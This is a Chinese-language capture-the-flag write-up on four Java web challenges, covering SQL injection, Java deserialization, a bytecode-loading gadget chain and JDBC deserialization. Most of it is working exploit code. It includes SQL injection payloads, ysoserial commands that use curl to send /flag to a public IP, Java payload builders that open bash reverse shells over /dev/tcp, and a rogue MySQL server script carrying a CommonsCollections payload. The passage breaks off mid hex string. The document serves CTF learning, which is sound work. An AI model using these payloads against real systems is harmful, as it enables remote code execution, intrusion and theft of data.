Java Test

记录Java题的过程

maven项目快速搭建

img

[网鼎杯 2020 朱雀组]Think Java

源码给了 class, 反编译审计, 主要是 Test.class 和 sqlDict.class, Test.class 调用 sqlDict.class

@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
    public Test() {
    }

    @PostMapping({"/sqlDict"})
    @Access
    @ApiOperation("为了开发方便对应数据库字典查询")
    public ResponseResult sqlDict(String dbName) throws IOException {
        List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
        return ResponseResult.e(ResponseCode.OK, tables);
    }
}

根据 import 和 api接口判定他是 swagger-ui

import io.swagger.annotations.ApiOperation;

常用的有 swagger-ui.html, 进入后两个接口, 一个需要用户名密码登录, 另一个就是字典查询

String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";

直接拼接的所以尝试有没有 sql注入, jdbc连接示例

jdbc:mysql://127.0.0.1:3306/name?useUnicode=true&xx=xxxx&xx=xx

尝试 sql注入

?dbName=myapp?useUnicode=-1'union+select+database()%23
?dbName=myapp?useUnicode=-1'union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema='myapp'%23
?dbName=myapp?useUnicode=-1'union+select+group_concat(column_name)+from+information_schema.columns+where+table_name='user'%23
?dbName=myapp?useUnicode=-1'union+select+group_concat(id,'~',name,'~',pwd)+from+user%23

得到用户名密码

admin/admin@Rrrr_ctf_asde

登录成功后给了一长串data

{
    "data":"Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",
    "msg":"登录成功",
    "status":2,
    "timestamps":1627307693537
}

下方的特征可以作为序列化的标志参考:

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

或者如果以aced开头,那么他就是这一段java序列化的16进制。

参考后先将数据做处理

# -*-coding:utf-8-*-
# python 2.7
import base64

data = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
r = base64.b64decode(data).encode('hex')
print(r)

下载 , 使用

java -jar SerializationDumper-v1.13.ja
r aced000573720018636e2e6162632e636f72652e6d6f64656c2e55736572566f764643317b04f43a0200024c0002696474
00104c6a6176612f6c616e672f4c6f6e673b4c00046e616d657400124c6a6176612f6c616e672f537472696e673b78707372
000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e
756d62657286ac951d0b94e08b0200007870000000000000000174000561646d696e

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 24 - 0x00 18
        Value - cn.abc.core.model.UserVo - 0x636e2e6162632e636f72652e6d6f64656c2e55736572566f
      serialVersionUID - 0x76 46 43 31 7b 04 f4 3a
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 2 - 0x00 02
      Fields
        0:
          Object - L - 0x4c
          fieldName
            Length - 2 - 0x00 02
            Value - id - 0x6964
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 16 - 0x00 10
              Value - Ljava/lang/Long; - 0x4c6a6176612f6c616e672f4c6f6e673b
        1:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - name - 0x6e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 02
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 03
    classdata
      cn.abc.core.model.UserVo
        values
          id
            (object)
              TC_OBJECT - 0x73
                TC_CLASSDESC - 0x72
                  className
                    Length - 14 - 0x00 0e
                    Value - java.lang.Long - 0x6a6176612e6c616e672e4c6f6e67
                  serialVersionUID - 0x3b 8b e4 90 cc 8f 23 df
                  newHandle 0x00 7e 00 04
                  classDescFlags - 0x02 - SC_SERIALIZABLE
                  fieldCount - 1 - 0x00 01
                  Fields
                    0:
                      Long - L - 0x4a
                      fieldName
                        Length - 5 - 0x00 05
                        Value - value - 0x76616c7565
                  classAnnotations
                    TC_ENDBLOCKDATA - 0x78
                  superClassDesc
                    TC_CLASSDESC - 0x72
                      className
                        Length - 16 - 0x00 10
                        Value - java.lang.Number - 0x6a6176612e6c616e672e4e756d626572
                      serialVersionUID - 0x86 ac 95 1d 0b 94 e0 8b
                      newHandle 0x00 7e 00 05
                      classDescFlags - 0x02 - SC_SERIALIZABLE
                      fieldCount - 0 - 0x00 00
                      classAnnotations
                        TC_ENDBLOCKDATA - 0x78
                      superClassDesc
                        TC_NULL - 0x70
                newHandle 0x00 7e 00 06
                classdata
                  java.lang.Number
                    values
                  java.lang.Long
                    values
                      value
                        (long)1 - 0x00 00 00 00 00 00 00 01
          name
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 07
                Length - 5 - 0x00 05
                Value - admin - 0x61646d696e

最下方有这样一段包含着admin字段,它就相当于保存着实质信息的数据块, 当把序列化的token字段作为Authorization去印证这个UI的user/current接口。他也会显示成功登录。这说明,他会在current接口进行反序列化!那么可以构造合适的序列化内容来构造getshell

如何构造?

java反序列化工具ysoserial

ysoserial用法:以ROME和URLDNS举例

即用ROME(我现在的认知就是他每一种都有不同的作用,比如rome可以命令执行,URLDNS可以进行dns回显)。

java -jar ysoserial.jar ROME "calc.exe" > h3zh1.bin

java -jar ysoserial.jar URLDNS "http://xxx" > h3zh1.bin

再转base64即可, 这里可能没有 bash 所以 shell 弹不出来, 用 curl 数据外带(命令执行那个 payload不好生成)

java -jar ysoserial.jar ROME "curl http://39.97.114.43:8888 -F file=@/flag" > outcome.bin

java -jar ysoserial.jar ROME "curl http://39.97.114.43:8888 -d @/flag" > outcome.bin

然后写个加密脚本burpsuite打过去公网监听即可

# -*-coding:utf-8-*-
# python 2.7
import base64

file = open("outcome.bin", "rb")
now = file.read()
ba = base64.b64encode(now)
# print(ba)
print("Bearer "+ba)  #可以解注释此段,并注释上一条print,便于快速测试
file.close()

[V&N2020 java反序列化]EasySpringMVC

给了 war包, 解压后通过 fernflower.jar 进行反编译得到原有的 java文件

java -jar fernflower.jar .\springmvcdemo_2 .\springmvcdemo

IDEA 没有Spring项目的解决方法

IDEA是2020版本,且是旗舰版,但今天想新建一个SpringMVC项目的时候,发现没有Spring选项。
解决方案: 按快捷键组合ctrl+alt+shift+/,然后选register,接着找到javaee.legacy.project.wizard,选中,close就好了

在IDEA新建一个Spring项目,并勾选SpringMVC, 将反编译后文件夹内的com包拖到src目录,lib目录的jar复制到lib目录,WEB-INF目录也替换掉, 然后在File->Project Structure添加lib的路径

接着, 添加tomcat服务器,并设置ApplicationContext,这个值表示webapp的访问根路径

然后启动即可访问 webapp, 但是没有太大收获, 看看web.xml, web.xml是J2EE定义的描述这个webapp的一个配置文件,非常重要。内容如下。

    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/applicationContext.xml</param-value>
    </context-param>
    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>
    <filter>
        <filter-name>clientinfo</filter-name>
        <filter-class>com.filters.ClentInfoFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>clientinfo</filter-name>
        <servlet-name>*</servlet-name>
    </filter-mapping>
    <servlet>
        <servlet-name>dispatcher</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>dispatcher</servlet-name>
        <url-pattern>*.form</url-pattern>
    </servlet-mapping>

最下面这段

    <servlet-mapping>
        <servlet-name>dispatcher</servlet-name>
        <url-pattern>*.form</url-pattern>
    </servlet-mapping>

该配置文件用servlet-mapping指明所有*.form格式路径的访问交给名为dispatcher的servlet处理。servlet就是处理HTTP请求的核心类。

    <servlet>
        <servlet-name>dispatcher</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>

再看这一段,表明这个dispatcher servlet是一个org.springframework.web.servlet.DispatcherServlet,也就是说这个webapp使用了Spring框架。

    <filter>
        <filter-name>clientinfo</filter-name>
        <filter-class>com.filters.ClentInfoFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>clientinfo</filter-name>
        <servlet-name>*</servlet-name>
    </filter-mapping>

这一段定义了一个 filter, 表示对所有servlet的访问,都需要经过com.filters.ClentInfoFilter类。filter的作用一般是在HTTP请求到达servlet之前或之后,对HTTP请求或响应进行处理,比如检查这个请求是否拥有权限。

在对Controller仔细排查后没有发现任何有用信息,关注点转移到这个filter上。

   public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
      Cookie[] cookies = ((HttpServletRequest)request).getCookies();
      boolean exist = false;
      Cookie cookie = null;
      if(cookies != null) {
         Cookie[] encoder = cookies;
         int e = cookies.length;

         for(int bytes = 0; bytes < e; ++bytes) {
            Cookie cinfo = encoder[bytes];
            if(cinfo.getName().equals("cinfo")) {
               exist = true;
               cookie = cinfo;
               break;
            }
         }
      }

获取的cookie 建立一个数组格式, 然后再传给encoder 数组, 通过循环找到cookie 中是否有命名为 cinfo 的cookie, 有就赋值exist为true, 读取结束继续往下走

      byte[] var20;
      if(exist) {
         String var16 = cookie.getValue();
         Decoder var18 = Base64.getDecoder();
         var20 = var18.decode(var16);
         ClientInfo var21 = null;
         if(!var16.equals("") && var20 != null) {
            try {
               var21 = (ClientInfo)Tools.parse(var20);
            } catch (Exception var14) {
               var14.printStackTrace();
            }
         } else {

这里exit判为true就走if, 会把cinfo值下的数据 base64 解密, 然后不为空就往 if 里面的 try 走, 执行 (ClientInfo)Tools.parse(var20), else的那些往下走貌似没有可利用的点, 先跟进 if 里面的 Tools

public class Tools implements Serializable {

   private static final long serialVersionUID = 1L;
   private String testCall;


   public static Object parse(byte[] bytes) throws Exception {
      ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
      return ois.readObject();
   }

   public static byte[] create(Object obj) throws Exception {
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      ObjectOutputStream outputStream = new ObjectOutputStream(bos);
      outputStream.writeObject(obj);
      return bos.toByteArray();
   }

   private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
      Object obj = in.readObject();
      (new ProcessBuilder((String[])((String[])obj))).start();
   }
}

Java的反序列化和PHP反序列化类似,php在反序列化的时候会调用对应类的__wakeup()函数,而java会调用该类readObject()函数。

可以看到 readObject 是一个很危险的利用点, 直接反序列化我们传入的cinfo解密的值, 无条件命令执行

      Object obj = in.readObject();
      (new ProcessBuilder((String[])((String[])obj))).start();

java.lang.ProcessBuilder.start() 方法使用此进程生成器的属性来启动一个新进程。新进程将调用command()命令和参数(假设),在工作目录所给出的directory(),有一个过程的环境所给出的environment()。此方法检查该命令是一个有效的操作系统命令。这命令是有效取决于系统,但最起码的命令必须非空字符串的非空列表。

法一:

在java中readObject可以直接读取 writeObject的内容, 由此在Tools类重写WriteObject方法

    private void writeObject(ObjectOutputStream out) throws IOException,ClassNotFoundException {
        String command[] = {"bash", "-c", "bash -i>& /dev/tcp/39.97.114.43/8888 0>&1"};
        out.writeObject(command);
    }

然后建立 payload

public class Main {
    public static void main(String[] args) {
        Base64.Encoder encoder = Base64.getEncoder();
        try {
            Tools cinfo = new Tools();
            byte[] bytes = Tools.create(cinfo);
            String payload = encoder.encodeToString(bytes);
            System.out.println(payload);
            Tools.parse(bytes);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

法二:

让obj为Tools私有变量的testCall,通过ClentInfoFilter过滤器,出发Tools类的parse方法调用Tools类readObject(),进而调用 (new ProcessBuilder((String[])((String[])obj))).start(), 由此让testCall等于要进行的命令,就可以RCE了

package com.tools;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Tools implements Serializable {
    private static final long serialVersionUID = 1L;

    private String testCall[];

    public static Object parse(byte[] bytes) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
        return ois.readObject();
    }

    public static byte[] create(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(bos);
        outputStream.writeObject(obj);
        return bos.toByteArray();
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Object obj = in.readObject();
        (new ProcessBuilder((String[])obj)).start();
    }


    public void setTestCall(String[] testCall) {
        this.testCall = testCall;
    }

}

赋值给 testCall 再写入命令执行

public class Main {
    public static void main(String[] args) {
        Base64.Encoder encoder = Base64.getEncoder();
        try {
            Tools cinfo = new Tools();
            String commands[] = {"bash", "-c", "bash -i>& /dev/tcp/39.97.114.43/8888 0>&1"};
            cinfo.setTestCall(commands);
            byte[] bytes = Tools.create(cinfo);
            String payload = encoder.encodeToString(bytes);
            System.out.println(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

然后修改 cookie 的 cinfo 刷新即可

[东华杯 2021]Ezgadget

反编译, 把导出的lib包 Add as library 也就是作为资源包(可调用类), 然后 debug ctfApplication 进行调试, tools中有个类 ToStringBean

package com.ezgame.ctf.tools;

import java.io.*;

public class ToStringBean extends ClassLoader implements Serializable
{
    private byte[] ClassByte;

    @Override
    public String toString() {
        final ToStringBean toStringBean = new ToStringBean();
        final Class clazz = toStringBean.defineClass(null, this.ClassByte, 0, this.ClassByte.length);
        Object Obj = null;
        try {
            Obj = clazz.newInstance();
        }
        catch (InstantiationException e) {
            e.printStackTrace();
        }
        catch (IllegalAccessException e2) {
            e2.printStackTrace();
        }
        return "enjoy it.";
    }
}

使用了 defineClass, this.ClassByte 可控, 给出一个 defineClass 加载字节码的实例

import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Method;

public class Hello {
    public static void main(String[] args) throws Exception{
        ClassPool classpool= ClassPool.getDefault();
        CtClass hello = classpool.makeClass("Hello");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        hello.makeClassInitializer().insertBefore(cmd);
        byte[] classbyte = hello.toBytecode();

        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        Class testhello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", classbyte, 0, classbyte.length);
        testhello.newInstance();
    }
}

可以得知

defineClass(String.class, byte[].class, int.class, int.class);

String.class 是加载类的命名

byte[].class 存放的是类的字节码

第三个 int.class 默认为 0, 猜测是开始位置

第四个 int.class 传入字节码的长度

本题我们需要触发 Tools 类中的 toString 方法来触发字节码加载, 全局搜索 jdk 中 readObject 调用 toString 方法, 其实发现CC5中有个 BadAttributeValueExpException 可以触发 toString

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

我们只需要控制 val 为 ToStringBean , 然后控制 ToStringBean 中的 this.ClassByte 为我们自己所构建的字节码即可, 构造 EXP

package com.ezgame.ctf.controller;

import com.ezgame.ctf.tools.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;

public class Poctest {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass evil = pool.makeClass("evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"bash -c bash$IFS$9-i>&/dev/tcp/169.254.191.77/23337<&1\");";
        evil.makeClassInitializer().insertBefore(cmd);
        byte[] classbyte = evil.toBytecode();
        ToStringBean toStringBean = new ToStringBean();
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, toStringBean);

        Field f = Class.forName("com.ezgame.ctf.tools.ToStringBean").getDeclaredField("ClassByte");
        f.setAccessible(true);
        f.set(toStringBean, classbyte);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeUTF("gadgets");
        oos.writeInt(2021);
        oos.writeObject(val);
        oos.close();

        System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));
    }
}

然后通过 /readObject?data= 触发

http://localhost:8888/readobject?data=rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAFnQAIWNvbS5lemdhbWUuY3RmLmNvbnRyb2xsZXIuUG9jdGVzdHQADFBvY3Rlc3QuamF2YXQABG1haW5zcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AB3hyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHEAfgAVeHNyACFjb20uZXpnYW1lLmN0Zi50b29scy5Ub1N0cmluZ0JlYW4TzFRaJ9nceQIAAVsACUNsYXNzQnl0ZXQAAltCeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABhMr%2Bur4AAAAxABkBAARldmlsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQA2YmFzaCAtYyBiYXNoJElGUyQ5LWk%2BJi9kZXYvdGNwLzE2OS4yNTQuMTkxLjc3LzIzMzM3PCYxCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAAY8aW5pdD4MABYACAoABAAXACEAAgAEAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAFgAIAAEACQAAABEAAQABAAAABSq3ABixAAAAAAABAAUAAAACAAY%3D

即可getshell, 此题考察的是 java 的反序列化, 还需要再对 java 反序列化有更深入的了解

[羊城杯 2020]A Piece Of Java

给了jar包, 反编译后查看, /hello 接口可以 GET cookie 反序列化

   @GetMapping({"/hello"})
   public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
      if (cookieData != null && !cookieData.equals("")) {
         Info info = (Info)this.deserialize(cookieData);
         if (info != null) {
            model.addAttribute("info", info.getAllInfo());
         }

         return "hello";
      } else {
         return "redirect:/index";
      }
   }

deserialize开始new了一个 SerialKiller

   private Object deserialize(String base64data) {
      ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));

      try {
         ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
         Object obj = ois.readObject();
         ois.close();
         return obj;
      } catch (Exception var5) {
         var5.printStackTrace();
         return null;
      }
   }
}

找到 .conf 文件

    <whitelist>
        <regexp>gdufs\..*</regexp>
        <regexp>java\.lang\..*</regexp>
    </whitelist>

也就是需要满足白名单才可以进行反序列化, lib里面有 CC 3.2.1, 然后先去查找满足白名单的类, 全局搜索 Serializable, 可用的类

gdufs.challenge.web.invocation.InfoInvocationHandler
gdufs.challenge.web.model.DatabaseInfo

其中 DatabaseInfo 的 checkAllInfo 可以恶意连接数据库

   public Boolean checkAllInfo() {
      if (this.host != null && this.port != null && this.username != null && this.password != null) {
         if (this.connection == null) {
            this.connect();
         }

         return true;
      } else {
         return false;
      }
   }

然后因为代理对象在执行被代理对象的任何方法前都会执行重写的invoke方法, 触发 InfoInvocationHandler 中的 invoke 从而调用 checkAllInfo

public class InfoInvocationHandler implements InvocationHandler, Serializable {
   private Info info;

   public InfoInvocationHandler(Info info) {
      this.info = info;
   }

   public Object invoke(Object proxy, Method method, Object[] args) {
      try {
         return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
      } catch (Exception var5) {
         var5.printStackTrace();
         return null;
      }
   }
}

这里可以借此打 JDBC 反序列化

如果攻击者能够控制JDBC连接设置项,那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。

参考: https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

构造EXP

package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws Exception {
        DatabaseInfo db = new DatabaseInfo();
        db.setHost("81.70.101.91");
        db.setPort("9999");
        db.setUsername("root");
        db.setPassword("&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
        ClassLoader classLoader = db.getClass().getClassLoader();
        Class[] interfaces = db.getClass().getInterfaces();
        InfoInvocationHandler invocationHandler = new InfoInvocationHandler(db);
        Info proxy = (Info) Proxy.newProxyInstance(classLoader, interfaces, invocationHandler);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream obj = new ObjectOutputStream(baos);
        obj.writeObject(db);
        obj.flush();
        obj.close();

        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);
    }
}

然后公网建立恶意 mysql

# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a0000000000201001501310475746638047